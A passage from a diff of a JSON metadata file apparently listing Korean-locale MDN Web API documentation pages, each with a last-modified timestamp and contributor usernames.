"Web/API/Document/location": { + "modified": "2020-10-15T21:57:50.852Z", + "contributors": [ + "alattalatta", + "daktwigim" + ] + }, + "Web/API/Document/open": { + "modified": "2020-11-16T23:26:20.380Z", + "contributors": [ + "composite" + ] + }, + "Web/API/Document/querySelector": { + "modified": "2020-10-15T21:49:45.017Z", + "contributors": [ + "alattalatta", + "daktwigim", + "DeadIntegral", + "imskojs" + ] + }, + "Web/API/Document/querySelectorAll": { + "modified": "2020-10-15T22:14:19.985Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/Document/readyState": { + "modified": "2020-10-15T22:21:34.621Z", + "contributors": [ + "VictorTaekLim" + ] + }, + "Web/API/Document/readystatechange_event": { + "modified": "2020-10-15T22:21:31.020Z", + "contributors": [ + "VictorTaekLim" + ] + }, + "Web/API/Document/referrer": { + "modified": "2019-03-23T22:07:02.003Z", + "contributors": [ + "SangHun" + ] + }, + "Web/API/Document/scroll_event": { + "modified": "2019-04-30T13:59:45.621Z", + "contributors": [ + "wbamberg", + "irenesmith", + "guyeol" + ] + }, + "Web/API/Document/styleSheetSets": { + "modified": "2020-12-05T03:19:19.028Z", + "contributors": [ + "movegun1027" + ] + }, + "Web/API/Document/visibilityState": { + "modified": "2020-10-15T21:51:10.755Z", + "contributors": [ + "alattalatta", + "DeadIntegral" + ] + }, + "Web/API/Document/visibilitychange_event": { + "modified": "2020-10-15T21:49:12.234Z", + "contributors": [ + "alattalatta", + "irenesmith", + "ExE-Boss", + "fscholz", + "dragmove" + ] + }, + "Web/API/Document/write": { + "modified": "2020-10-15T22:10:15.149Z", + "contributors": [ + "Parcovia" + ] + }, + "Web/API/DocumentFragment": { + "modified": "2020-10-28T12:45:54.495Z", + "contributors": [ + "zzoPark" + ] + }, + "Web/API/DocumentOrShadowRoot": { + "modified": "2020-10-15T22:11:35.284Z", + "contributors": [ + "DeadIntegral", + "Sheppy" + ] + }, + "Web/API/DocumentOrShadowRoot/activeElement": { + "modified": "2020-10-15T22:26:23.654Z", + "contributors": [ + "alattalatta", + "composite" + ] + }, + "Web/API/DocumentOrShadowRoot/styleSheets": { + "modified": "2020-10-15T22:11:37.061Z", + "contributors": [ + "alattalatta", + "DeadIntegral" + ] + }, + "Web/API/DocumentType": { + "modified": "2020-10-15T22:10:02.690Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/Document_Object_Model": { + "modified": "2020-11-06T11:33:39.006Z", + "contributors": [ + "SeonHyungJo", + "2ssue", + "BG.Choi", + "alattalatta", + "jswisher", + "cs09g", + "EddieSungminYim", + "Netaras", + "Hyeongryeol", + "pusanbear", + "CN", + "Sebuls", + "Channy" + ] + }, + "Web/API/Document_Object_Model/Events": { + "modified": "2020-12-01T12:09:06.517Z", + "contributors": [ + "dink95" + ] + }, + "Web/API/Document_Object_Model/Examples": { + "modified": "2020-05-26T14:45:03.340Z", + "contributors": [ + "alattalatta", + "chrisdavidmills", + "jswisher", + "jsx", + "Netaras" + ] + }, + "Web/API/Document_Object_Model/Locating_DOM_elements_using_selectors": { + "modified": "2019-05-29T17:36:17.250Z", + "contributors": [ + "jswisher", + "alattalatta" + ] + }, + "Web/API/Document_Object_Model/Using_the_W3C_DOM_Level_1_Core": { + "modified": "2020-03-10T10:48:51.010Z", + "contributors": [ + "kimploo" + ] + }, + "Web/API/Document_Object_Model/소개": { + "modified": "2020-02-10T04:12:58.179Z", + "contributors": [ + "sungik-choi", + "jswisher", + "cs09g", + "2circumflex", + "dakeshi" + ] + }, + "Web/API/DragEvent": { + "modified": "2020-10-15T22:02:04.580Z", + "contributors": [ + "alattalatta", + "YanBellavance" + ] + }, + "Web/API/Element": { + "modified": "2020-10-15T21:24:24.428Z", + "contributors": [ + "alattalatta", + "kewlbear", + "fscholz", + "moolow", + "khalid32", + "junghyun_han" + ] + }, + "Web/API/Element/accessKey": { + "modified": "2020-10-15T22:14:28.158Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/Element/attributes": { + "modified": "2019-03-23T23:42:26.377Z", + "contributors": [ + "fscholz", + "khalid32", + "teoli", + "Netaras" + ] + }, + "Web/API/Element/classList": { + "modified": "2020-10-15T21:54:51.786Z", + "contributors": [ + "cs09g", + "alattalatta", + "pers0n4", + "kooljay82" + ] + }, + "Web/API/Element/className": { + "modified": "2019-03-23T22:11:31.161Z", + "contributors": [ + "kooljay82" + ] + }, + "Web/API/Element/click_event": { + "modified": "2020-10-15T22:09:56.213Z", + "contributors": [ + "alattalatta", + "wbamberg", + "irenesmith", + "ExE-Boss", + "DeadIntegral" + ] + }, + "Web/API/Element/clientHeight": { + "modified": "2019-03-18T20:58:55.769Z", + "contributors": [ + "SphinxKnight", + "fscholz", + "devcken" + ] + }, + "Web/API/Element/clientLeft": { + "modified": "2020-10-15T22:13:14.202Z", + "contributors": [ + "kbsbroad" + ] + }, + "Web/API/Element/closest": { + "modified": "2020-10-15T22:27:29.394Z", + "contributors": [ + "composite" + ] + }, + "Web/API/Element/currentStyle": { + "modified": "2019-03-23T22:28:24.891Z", + "contributors": [ + "nugurejeil" + ] + }, + "Web/API/Element/getAttribute": { + "modified": "2020-10-15T21:30:04.251Z", + "contributors": [ + "wisedog", + "fscholz", + "JangWonWoong" + ] + }, + "Web/API/Element/getElementsByClassName": { + "modified": "2020-10-15T22:08:10.843Z", + "contributors": [ + "whdckszxxx" + ] + }, + "Web/API/Element/getElementsByTagName": { + "modified": "2019-03-23T22:46:49.355Z", + "contributors": [ + "gjsee", + "H-yun" + ] + }, + "Web/API/Element/id": { + "modified": "2020-10-15T22:08:18.780Z", + "contributors": [ + "whdckszxxx" + ] + }, + "Web/API/Element/innerHTML": { + "modified": "2020-10-15T21:47:43.585Z", + "contributors": [ + "DeadIntegral", + "apple77y", + "rlaxognsk" + ] + }, + "Web/API/Element/insertAdjacentHTML": { + "modified": "2020-10-15T21:37:34.409Z", + "contributors": [ + "alattalatta", + "DeadIntegral", + "dragonist" + ] + }, + "Web/API/Element/outerHTML": { + "modified": "2020-10-15T22:16:55.354Z", + "contributors": [ + "lifeisnovel" + ] + }, + "Web/API/Element/removeAttribute": { + "modified": "2020-10-15T21:33:44.118Z", + "contributors": [ + "alattalatta", + "HyunkwonEddie-Cho" + ] + }, + "Web/API/Element/scrollHeight": { + "modified": "2020-10-15T21:33:38.513Z", + "contributors": [ + "alattalatta", + "SphinxKnight", + "HyunkwonEddie-Cho" + ] + }, + "Web/API/Element/scrollIntoView": { + "modified": "2020-10-15T21:22:00.098Z", + "contributors": [ + "limkukhyun", + "fscholz", + "khalid32", + "hooriza" + ] + }, + "Web/API/Element/tagName": { + "modified": "2020-10-15T22:29:51.547Z", + "contributors": [ + "composite" + ] + }, + "Web/API/Element/touchcancel_event": { + "modified": "2019-03-23T22:00:06.368Z", + "contributors": [ + "irenesmith", + "ExE-Boss", + "fscholz", + "Kim.Hyunjung" + ] + }, + "Web/API/Encoding_API": { + "modified": "2020-10-15T22:26:02.845Z", + "contributors": [ + "chaewonkong" + ] + }, + "Web/API/Event": { + "modified": "2020-10-15T21:17:19.725Z", + "contributors": [ + "alattalatta", + "cs09g", + "fscholz", + "jsx", + "teoli", + "pusanbear" + ] + }, + "Web/API/Event/Event": { + "modified": "2020-10-15T22:24:05.554Z", + "contributors": [ + "dbwodlf3" + ] + }, + "Web/API/Event/cancelBubble": { + "modified": "2019-03-23T22:12:48.462Z", + "contributors": [ + "pouu69" + ] + }, + "Web/API/Event/cancelable": { + "modified": "2019-03-24T00:07:51.177Z", + "contributors": [ + "fscholz", + "khalid32", + "teoli", + "99corps" + ] + }, + "Web/API/Event/createEvent": { + "modified": "2019-03-23T22:23:08.290Z", + "contributors": [ + "agakt" + ] + }, + "Web/API/Event/eventPhase": { + "modified": "2019-03-23T22:03:57.060Z", + "contributors": [ + "rure" + ] + }, + "Web/API/Event/isTrusted": { + "modified": "2020-10-15T21:49:09.218Z", + "contributors": [ + "alattalatta", + "." + ] + }, + "Web/API/Event/preventDefault": { + "modified": "2019-03-24T00:07:50.666Z", + "contributors": [ + "chiyodad", + "fscholz", + "khalid32", + "teoli", + "99corps" + ] + }, + "Web/API/Event/stopImmediatePropagation": { + "modified": "2019-03-23T22:28:15.457Z", + "contributors": [ + "eatdesignlove" + ] + }, + "Web/API/Event/stopPropagation": { + "modified": "2019-03-23T22:27:38.205Z", + "contributors": [ + "gnujoow", + "eatdesignlove" + ] + }, + "Web/API/Event/target": { + "modified": "2020-10-15T22:06:37.631Z", + "contributors": [ + "jmtgr", + "samee", + "zx6658" + ] + }, + "Web/API/EventListener": { + "modified": "2020-10-15T22:08:23.074Z", + "contributors": [ + "whdckszxxx" + ] + }, + "Web/API/EventSource": { + "modified": "2020-10-15T22:15:01.771Z", + "contributors": [ + "khg0712", + "fscholz" + ] + }, + "Web/API/EventSource/EventSource": { + "modified": "2020-10-15T22:14:59.374Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/EventTarget": { + "modified": "2020-10-15T21:43:23.930Z", + "contributors": [ + "alattalatta", + "Netaras", + "wbamberg" + ] + }, + "Web/API/EventTarget/EventTarget": { + "modified": "2020-10-15T22:09:54.264Z", + "contributors": [ + "DeadIntegral" + ] + }, + "Web/API/EventTarget/addEventListener": { + "modified": "2020-10-15T21:43:23.962Z", + "contributors": [ + "AHNJAEHA", + "alattalatta", + "DeadIntegral", + "cs09g" + ] + }, + "Web/API/EventTarget/dispatchEvent": { + "modified": "2020-10-15T21:49:08.727Z", + "contributors": [ + "cs09g", + "limkukhyun", + "Jaysok" + ] + }, + "Web/API/EventTarget/removeEventListener": { + "modified": "2020-10-15T22:13:17.747Z", + "contributors": [ + "jay94ks" + ] + }, + "Web/API/FetchEvent": { + "modified": "2020-10-15T22:10:14.499Z", + "contributors": [ + "duduindo" + ] + }, + "Web/API/FetchEvent/respondWith": { + "modified": "2020-10-15T22:10:13.327Z", + "contributors": [ + "LeeJunyeol" + ] + }, + "Web/API/Fetch_API": { + "modified": "2020-10-15T21:59:47.472Z", + "contributors": [ + "alattalatta", + "ggihwa", + "jennybehan", + "gw1021", + "BANIP" + ] + }, + "Web/API/Fetch_API/Basic_concepts": { + "modified": "2019-03-18T21:45:15.491Z", + "contributors": [ + "BANIP" + ] + }, + "Web/API/Fetch_API/Fetch의_사용법": { + "modified": "2020-10-15T22:00:18.673Z", + "contributors": [ + "JINSUNG1048", + "CressZZ", + "LiamYong", + "ajy720", + "limkukhyun", + "briz", + "mukeunzi", + "real0131", + "2dubbing", + "BANIP" + ] + }, + "Web/API/File": { + "modified": "2020-10-15T22:10:43.496Z", + "contributors": [ + "alattalatta", + "DeadIntegral" + ] + }, + "Web/API/File/File": { + "modified": "2020-10-15T22:14:18.274Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/File/Using_files_from_web_applications": { + "modified": "2019-04-12T12:59:03.189Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/File/name": { + "modified": "2020-10-15T22:11:39.883Z", + "contributors": [ + "alattalatta", + "DeadIntegral" + ] + }, + "Web/API/File/size": { + "modified": "2019-03-18T20:48:30.715Z", + "contributors": [ + "DeadIntegral" + ] + }, + "Web/API/FileList": { + "modified": "2019-03-18T21:44:05.861Z", + "contributors": [ + "Latera", + "samee", + "Limwanchul" + ] + }, + "Web/API/FileReader": { + "modified": "2020-10-15T21:32:59.452Z", + "contributors": [ + "alattalatta", + "linearhw", + "kuil09", + "Luavis" + ] + }, + "Web/API/FileReader/loadend_event": { + "modified": "2020-10-15T22:22:06.964Z", + "contributors": [ + "nmsohn" + ] + }, + "Web/API/FileReader/readAsDataURL": { + "modified": "2019-03-23T22:25:29.939Z", + "contributors": [ + "kuil09" + ] + }, + "Web/API/FileReader/readAsText": { + "modified": "2020-10-15T22:28:44.098Z", + "contributors": [ + "guyeol" + ] + }, + "Web/API/FileReader/result": { + "modified": "2019-03-23T23:14:29.237Z", + "contributors": [ + "fscholz", + "junho85" + ] + }, + "Web/API/File_and_Directory_Entries_API": { + "modified": "2020-10-15T22:31:56.758Z", + "contributors": [ + "letheian17" + ] + }, + "Web/API/FormData": { + "modified": "2020-10-15T21:52:49.372Z", + "contributors": [ + "wisedog", + "DeadIntegral", + "SangMin_Kang", + "HanHyeoksu" + ] + }, + "Web/API/FormData/FormData": { + "modified": "2020-10-15T22:08:23.118Z", + "contributors": [ + "DeadIntegral" + ] + }, + "Web/API/FormData/append": { + "modified": "2020-10-15T22:08:27.942Z", + "contributors": [ + "DeadIntegral" + ] + }, + "Web/API/FormData/delete": { + "modified": "2020-10-15T22:08:25.725Z", + "contributors": [ + "DeadIntegral" + ] + }, + "Web/API/FormData/entries": { + "modified": "2020-10-15T22:08:25.366Z", + "contributors": [ + "DeadIntegral" + ] + }, + "Web/API/FormData/get": { + "modified": "2020-10-15T22:08:25.567Z", + "contributors": [ + "DeadIntegral" + ] + }, + "Web/API/FormData/getAll": { + "modified": "2020-10-15T22:08:25.038Z", + "contributors": [ + "DeadIntegral" + ] + }, + "Web/API/FormData/has": { + "modified": "2020-10-15T22:08:25.617Z", + "contributors": [ + "DeadIntegral" + ] + }, + "Web/API/FormData/keys": { + "modified": "2020-10-15T22:08:26.651Z", + "contributors": [ + "DeadIntegral" + ] + }, + "Web/API/FormData/set": { + "modified": "2020-10-15T22:08:26.104Z", + "contributors": [ + "DeadIntegral" + ] + }, + "Web/API/FormData/values": { + "modified": "2020-10-15T22:08:29.390Z", + "contributors": [ + "DeadIntegral" + ] + }, + "Web/API/Gamepad_API": { + "modified": "2020-12-03T14:48:49.300Z", + "contributors": [ + "dink95", + "alattalatta", + "khg0712", + "chrisdavidmills" + ] + }, + "Web/API/Gamepad_API/Using_the_Gamepad_API": { + "modified": "2020-10-15T21:55:46.560Z", + "contributors": [ + "lololtoday", + "alattalatta", + "khg0712" + ] + }, + "Web/API/Geolocation": { + "modified": "2020-10-15T21:33:03.322Z", + "contributors": [ + "alattalatta", + "cs09g", + "pjc0247", + "fscholz" + ] + }, + "Web/API/Geolocation/clearWatch": { + "modified": "2020-10-15T22:19:28.517Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/Geolocation/getCurrentPosition": { + "modified": "2020-10-15T21:23:14.982Z", + "contributors": [ + "alattalatta", + "fscholz", + "3600s", + "khalid32", + "xcoda" + ] + }, + "Web/API/Geolocation/watchPosition": { + "modified": "2020-10-15T22:27:23.834Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/GeolocationPosition": { + "modified": "2020-10-15T22:19:21.262Z", + "contributors": [ + "alattalatta", + "chrisdavidmills" + ] + }, + "Web/API/Geolocation_API": { + "modified": "2020-10-15T22:28:32.038Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/GlobalEventHandlers": { + "modified": "2020-10-15T21:38:25.913Z", + "contributors": [ + "alattalatta", + "cs09g", + "jwhitlock" + ] + }, + "Web/API/GlobalEventHandlers/onchange": { + "modified": "2020-10-15T22:05:47.826Z", + "contributors": [ + "alattalatta", + "chocojoa" + ] + }, + "Web/API/GlobalEventHandlers/onclick": { + "modified": "2020-10-15T22:10:25.598Z", + "contributors": [ + "alattalatta", + "Parcovia" + ] + }, + "Web/API/GlobalEventHandlers/oncontextmenu": { + "modified": "2019-03-23T22:08:19.174Z", + "contributors": [ + "project42da" + ] + }, + "Web/API/GlobalEventHandlers/ondblclick": { + "modified": "2020-10-15T22:05:47.608Z", + "contributors": [ + "baleineindigo", + "alattalatta", + "chocojoa" + ] + }, + "Web/API/GlobalEventHandlers/onkeydown": { + "modified": "2020-10-15T22:05:49.061Z", + "contributors": [ + "alattalatta", + "chocojoa" + ] + }, + "Web/API/GlobalEventHandlers/onkeyup": { + "modified": "2019-03-23T22:48:40.096Z", + "contributors": [ + "teoli", + "wizardbear" + ] + }, + "Web/API/GlobalEventHandlers/onpointerenter": { + "modified": "2020-10-15T22:31:17.998Z", + "contributors": [ + "baleineindigo" + ] + }, + "Web/API/GlobalEventHandlers/onscroll": { + "modified": "2020-10-15T22:22:09.396Z", + "contributors": [ + "rodeck826" + ] + }, + "Web/API/GlobalEventHandlers/onsubmit": { + "modified": "2019-03-23T22:27:57.488Z", + "contributors": [ + "hoony" + ] + }, + "Web/API/GlobalEventHandlers/ontouchstart": { + "modified": "2019-03-23T22:28:01.859Z", + "contributors": [ + "hoony" + ] + }, + "Web/API/HTMLBRElement": { + "modified": "2020-10-15T22:15:37.299Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/HTMLCanvasElement": { + "modified": "2019-03-18T20:54:18.816Z", + "contributors": [ + "kesuskim" + ] + }, + "Web/API/HTMLCanvasElement/getContext": { + "modified": "2020-10-15T22:18:45.681Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/HTMLCollection": { + "modified": "2019-05-31T10:52:53.389Z", + "contributors": [ + "alattalatta", + "huusz" + ] + }, + "Web/API/HTMLCollection/item": { + "modified": "2020-10-15T22:08:11.352Z", + "contributors": [ + "whdckszxxx" + ] + }, + "Web/API/HTMLDivElement": { + "modified": "2020-10-15T22:04:55.251Z", + "contributors": [ + "alattalatta", + "cs09g" + ] + }, + "Web/API/HTMLDocument": { + "modified": "2019-03-18T21:35:01.320Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/HTMLElement": { + "modified": "2020-10-15T21:33:05.054Z", + "contributors": [ + "alattalatta", + "cs09g", + "fscholz" + ] + }, + "Web/API/HTMLElement/accessKeyLabel": { + "modified": "2020-10-15T22:14:24.446Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/HTMLElement/click": { + "modified": "2020-10-15T22:14:46.730Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/HTMLElement/contentEditable": { + "modified": "2020-10-15T22:19:29.357Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/HTMLElement/dataset": { + "modified": "2020-10-15T21:56:46.705Z", + "contributors": [ + "Kaben", + "alattalatta", + "jyhwng", + "KimSejune" + ] + }, + "Web/API/HTMLElement/input_event": { + "modified": "2020-10-15T22:27:30.949Z", + "contributors": [ + "composite" + ] + }, + "Web/API/HTMLElement/offsetParent": { + "modified": "2020-10-15T22:00:41.448Z", + "contributors": [ + "SphinxKnight", + "kewlbear" + ] + }, + "Web/API/HTMLElement/outerText": { + "modified": "2020-10-15T22:10:03.006Z", + "contributors": [ + "EugeneKim" + ] + }, + "Web/API/HTMLElement/style": { + "modified": "2020-10-15T21:18:22.703Z", + "contributors": [ + "alattalatta", + "fscholz", + "AshfaqHossain", + "teoli", + "Netaras" + ] + }, + "Web/API/HTMLElement/tabIndex": { + "modified": "2019-03-23T23:42:52.929Z", + "contributors": [ + "fscholz", + "jsx", + "teoli", + "Netaras" + ] + }, + "Web/API/HTMLFormElement": { + "modified": "2020-10-15T21:18:27.982Z", + "contributors": [ + "alattalatta", + "fscholz", + "jsx", + "teoli", + "Netaras" + ] + }, + "Web/API/HTMLHyperlinkElementUtils": { + "modified": "2020-10-15T22:15:23.043Z", + "contributors": [ + "connorshea" + ] + }, + "Web/API/HTMLHyperlinkElementUtils/href": { + "modified": "2020-10-15T22:15:22.693Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/HTMLLIElement": { + "modified": "2020-10-15T22:24:50.064Z", + "contributors": [ + "melangyun" + ] + }, + "Web/API/HTMLMediaElement": { + "modified": "2020-10-15T22:14:51.040Z", + "contributors": [ + "ahnzaz" + ] + }, + "Web/API/HTMLMediaElement/autoplay": { + "modified": "2020-10-15T22:20:29.563Z", + "contributors": [ + "ahnzaz" + ] + }, + "Web/API/HTMLMediaElement/canplay_event": { + "modified": "2019-03-18T20:49:26.047Z", + "contributors": [ + "estelle", + "ExE-Boss", + "fscholz", + "dragmove" + ] + }, + "Web/API/HTMLMediaElement/canplaythrough_event": { + "modified": "2019-03-18T20:49:29.615Z", + "contributors": [ + "estelle", + "ExE-Boss", + "fscholz", + "dragmove" + ] + }, + "Web/API/HTMLOptionElement": { + "modified": "2020-10-15T22:30:21.466Z", + "contributors": [ + "chlgusrb14747" + ] + }, + "Web/API/HTMLSelectElement": { + "modified": "2020-10-15T22:30:22.387Z", + "contributors": [ + "Loadmaster" + ] + }, + "Web/API/HTMLSelectElement/selectedOptions": { + "modified": "2020-10-15T22:30:21.753Z", + "contributors": [ + "chlgusrb14747" + ] + }, + "Web/API/HTMLSpanElement": { + "modified": "2020-10-15T22:10:14.373Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/HTMLTableElement": { + "modified": "2019-03-23T23:42:46.713Z", + "contributors": [ + "fscholz", + "khalid32", + "teoli", + "Netaras" + ] + }, + "Web/API/HTMLTableElement/width": { + "modified": "2019-03-23T23:53:04.220Z", + "contributors": [ + "fscholz", + "khalid32", + "teoli", + "Netaras", + "Dongnamri" + ] + }, + "Web/API/HTMLTemplateElement": { + "modified": "2020-10-15T22:12:35.811Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/HTMLTitleElement": { + "modified": "2020-10-15T22:15:37.151Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/HTMLVideoElement": { + "modified": "2020-10-15T22:20:19.011Z", + "contributors": [ + "ahnzaz" + ] + }, + "Web/API/HTML_드래그_앤_드롭_API": { + "modified": "2020-09-06T00:51:11.619Z", + "contributors": [ + "zzoPark", + "jinyoung", + "constmoon", + "lundella", + "jinhyukkim" + ] + }, + "Web/API/HTML_드래그_앤_드롭_API/Drag_operations": { + "modified": "2019-03-18T21:31:26.321Z", + "contributors": [ + "dolmoon" + ] + }, + "Web/API/History": { + "modified": "2020-10-15T21:46:21.001Z", + "contributors": [ + "alattalatta", + "joshua1988" + ] + }, + "Web/API/History/back": { + "modified": "2020-10-15T22:26:51.539Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/History/forward": { + "modified": "2020-10-15T22:26:51.802Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/History/go": { + "modified": "2020-10-15T22:29:33.276Z", + "contributors": [ + "2ssue" + ] + }, + "Web/API/History/length": { + "modified": "2020-10-15T22:26:49.569Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/History/pushState": { + "modified": "2020-10-15T22:26:53.843Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/History/replaceState": { + "modified": "2020-10-15T22:29:11.727Z", + "contributors": [ + "2ssue" + ] + }, + "Web/API/History/scrollRestoration": { + "modified": "2020-10-15T22:23:27.883Z", + "contributors": [ + "alattalatta", + "bershanskiy", + "HyunSeob" + ] + }, + "Web/API/History/state": { + "modified": "2020-10-15T22:27:52.413Z", + "contributors": [ + "huien126" + ] + }, + "Web/API/History_API": { + "modified": "2020-10-15T21:45:56.027Z", + "contributors": [ + "MyeonghwanCho", + "alattalatta", + "hoony", + "DublinCity", + "cheolee", + "cs09g", + "kimbumbum", + "WonbaeLee", + "danhojin", + "joshua1988" + ] + }, + "Web/API/IdleDeadline": { + "modified": "2020-10-15T22:10:44.151Z", + "contributors": [ + "DeadIntegral" + ] + }, + "Web/API/IdleDeadline/didTimeout": { + "modified": "2020-10-15T22:10:44.475Z", + "contributors": [ + "DeadIntegral" + ] + }, + "Web/API/ImageCapture": { + "modified": "2020-10-15T22:27:09.529Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/ImageCapture/ImageCapture": { + "modified": "2020-10-15T22:27:09.311Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/ImageCapture/getPhotoCapabilities": { + "modified": "2020-10-15T22:27:09.248Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/ImageCapture/getPhotoSettings": { + "modified": "2020-10-15T22:27:09.454Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/ImageCapture/grabFrame": { + "modified": "2020-10-15T22:27:10.935Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/ImageCapture/takePhoto": { + "modified": "2020-10-15T22:27:09.631Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/ImageCapture/track": { + "modified": "2020-10-15T22:27:09.535Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/ImageData": { + "modified": "2019-03-23T22:54:04.416Z", + "contributors": [ + "bsidesoft" + ] + }, + "Web/API/Index": { + "modified": "2019-03-06T12:18:21.576Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/IndexedDB_API": { + "modified": "2020-02-21T12:46:53.785Z", + "contributors": [ + "alattalatta", + "chrisdavidmills", + "younheeJang", + "QuanXiuzhi", + "DGURI", + "naduhy2", + "hyeonseok", + "claudepache" + ] + }, + "Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB": { + "modified": "2020-01-13T04:48:21.538Z", + "contributors": [ + "chrisdavidmills", + "alattalatta", + "LostCatLee", + "daesD", + "naduhy2", + "bingl2", + "nacyot", + "fscholz", + "JoonghunPark" + ] + }, + "Web/API/IndexedDB_API/Using_IndexedDB": { + "modified": "2020-07-21T23:16:52.351Z", + "contributors": [ + "letheian17", + "chrisdavidmills", + "isho", + "samee", + "DGURI", + "yongbam", + "WKBae", + "jhlee1979" + ] + }, + "Web/API/IntersectionObserver": { + "modified": "2020-10-15T22:21:53.448Z", + "contributors": [ + "ne2030" + ] + }, + "Web/API/IntersectionObserver/IntersectionObserver": { + "modified": "2020-10-15T22:21:52.371Z", + "contributors": [ + "ne2030", + "alattalatta" + ] + }, + "Web/API/IntersectionObserver/observe": { + "modified": "2020-10-15T22:30:05.415Z", + "contributors": [ + "4spartame" + ] + }, + "Web/API/IntersectionObserver/root": { + "modified": "2020-10-15T22:30:03.620Z", + "contributors": [ + "4spartame" + ] + }, + "Web/API/Intersection_Observer_API": { + "modified": "2020-10-15T22:30:01.411Z", + "contributors": [ + "4spartame", + "Atercatus" + ] + }, + "Web/API/Location": { + "modified": "2020-10-15T22:16:16.807Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/Location/reload": { + "modified": "2020-10-15T22:18:16.737Z", + "contributors": [ + "alattalatta", + "chaewonkong", + "MartinYounghoonKim" + ] + }, + "Web/API/MediaDevices": { + "modified": "2020-10-15T22:07:22.391Z", + "contributors": [ + "alattalatta", + "fscholz" + ] + }, + "Web/API/MediaDevices/enumerateDevices": { + "modified": "2020-10-15T22:13:34.171Z", + "contributors": [ + "hyunkwon_88_cho" + ] + }, + "Web/API/MediaDevices/getUserMedia": { + "modified": "2020-10-15T22:07:21.393Z", + "contributors": [ + "alattalatta", + "sgim74528" + ] + }, + "Web/API/MediaStreamTrack": { + "modified": "2020-10-15T22:27:13.280Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/MediaStreamTrack/applyConstraints": { + "modified": "2020-10-15T22:27:23.822Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/MediaStreamTrack/clone": { + "modified": "2020-10-15T22:27:12.749Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/MediaStreamTrack/enabled": { + "modified": "2020-10-15T22:27:23.483Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/MediaStreamTrack/getCapabilities": { + "modified": "2020-10-15T22:27:32.401Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/MediaStreamTrack/getConstraints": { + "modified": "2020-10-15T22:27:31.593Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/MediaStreamTrack/getSettings": { + "modified": "2020-10-15T22:27:31.716Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/MediaStreamTrack/id": { + "modified": "2020-10-15T22:27:13.932Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/MediaStreamTrack/kind": { + "modified": "2020-10-15T22:27:13.095Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/MediaStreamTrack/label": { + "modified": "2020-10-15T22:27:33.867Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/MediaStreamTrack/muted": { + "modified": "2020-10-15T22:27:21.279Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/MediaStreamTrack/readyState": { + "modified": "2020-10-15T22:27:12.348Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/MediaStreamTrack/stop": { + "modified": "2020-10-15T22:27:14.982Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/MediaStream_Image_Capture_API": { + "modified": "2020-10-15T22:27:09.295Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/MediaTrackConstraints": { + "modified": "2020-10-15T22:27:34.506Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/Media_Streams_API": { + "modified": "2020-10-15T22:21:47.276Z", + "contributors": [ + "alattalatta", + "chansbro" + ] + }, + "Web/API/MessageEvent": { + "modified": "2019-03-23T22:25:15.394Z", + "contributors": [ + "nicekkong" + ] + }, + "Web/API/MouseEvent": { + "modified": "2020-10-15T22:28:07.612Z", + "contributors": [ + "imdasom" + ] + }, + "Web/API/MouseEvent/clientX": { + "modified": "2020-10-12T11:57:49.704Z", + "contributors": [ + "owstork94" + ] + }, + "Web/API/MutationObserver": { + "modified": "2020-04-14T08:38:25.816Z", + "contributors": [ + "2ssue", + "voidnoble" + ] + }, + "Web/API/Navigator": { + "modified": "2020-10-15T21:33:07.782Z", + "contributors": [ + "alattalatta", + "nmsohn", + "wbamberg", + "fscholz" + ] + }, + "Web/API/Navigator/battery": { + "modified": "2019-03-23T23:26:40.127Z", + "contributors": [ + "fscholz", + "khalid32", + "Cho.Eun", + "teoli", + "oohii" + ] + }, + "Web/API/Navigator/geolocation": { + "modified": "2020-10-15T22:19:19.512Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/Navigator/mediaDevices": { + "modified": "2020-10-15T22:21:38.160Z", + "contributors": [ + "alattalatta", + "chansbro" + ] + }, + "Web/API/Navigator/registerProtocolHandler": { + "modified": "2020-10-15T21:16:08.500Z", + "contributors": [ + "alattalatta", + "fscholz", + "khalid32", + "drry", + "Suguni" 